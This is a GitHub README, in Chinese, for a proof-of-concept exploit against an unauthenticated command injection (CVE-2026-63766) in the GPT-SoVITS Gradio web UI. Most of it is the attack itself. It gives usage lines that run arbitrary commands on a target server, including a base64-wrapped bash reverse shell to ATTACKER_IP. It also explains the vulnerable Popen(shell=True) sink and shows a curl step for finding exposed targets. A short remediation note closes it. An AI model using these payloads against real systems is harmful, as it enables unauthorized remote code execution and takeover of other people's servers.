0xdak/CVE-2026-63766_exploit
GitHub: 0xdak/CVE-2026-63766_exploit
针对 GPT-SoVITS Gradio Web UI 未授权 OS 命令注入漏洞(CVE-2026-63766)的概念验证利用代码,可实现对目标服务器的未授权远程代码执行。
Stars: 0 | Forks: 0
# CVE-2026-63766 — GPT-SoVITS 未授权 OS 命令注入
[GPT-SoVITS](https://github.com/RVC-Boss/GPT-SoVITS) 的 Gradio **web UI** (`webui.py`) 中存在未授权远程代码执行漏洞。
音频处理辅助函数(`open_asr`、`open_slice`、`open_denoise`、`open_uvr5`)将未经处理的 Gradio 文本框 **path** 值直接拼接进通过 `Popen(..., shell=True)` 运行的 shell 命令中。
路径仅经过 `clean_path()` 处理,而该函数仅移除首尾的引号和空格 —— 位于*中间*的 shell 元字符将被保留。
`asr_opt_dir` 字段甚至没有进行存在性检查,因此其中的命令替换 `$(...)` 会直接嵌入到 `-o "$(...)"` 中,并以 web-UI 进程用户的身份执行。
该 web UI **默认不启用身份验证**,因此仅需单个请求即可触发。
- **受影响版本:** GPT-SoVITS `<= 20250606v2pro`
- **默认端口:** `9874` (Gradio web UI,未授权)
- **CWE:** 78 (OS 命令注入)
- **影响:** 以 web-UI 进程用户身份进行 RCE
## 环境要求
```
pip install gradio_client
```
## 用法
```
# 将 proof 写入目标上的文件
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell(base64 使 payload 在 $() 上下文中保持无引号;
# 需要 bash -c 是因为 sink 在 /bin/sh 下运行,而后者缺少 /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
```
注入的命令会在**服务器**上运行;其输出不会返回,因此请使用 reverse shell(或将其输出写入到可读取的路径)来观察结果。
`asr_opt_dir` 被包裹在 `$(...)` 中,因此无论是否安装了任何 ASR 模型,它都会通过命令替换执行。
## 漏洞原理
`open_asr` 构建并运行以下命令:
```
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
```
## 识别目标
Gradio UI 通过 `/config` 暴露其 API 接口:
```
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
```
## 修复建议
请升级至 GPT-SoVITS `20250606v2pro` 之后的版本,切勿将 web UI 暴露至不受信任的网络中,并且不要以特权用户身份运行。
标签:CISA项目, Go语言工具, Python, 命令注入, 无后门, 编程工具, 远程代码执行, 逆向工具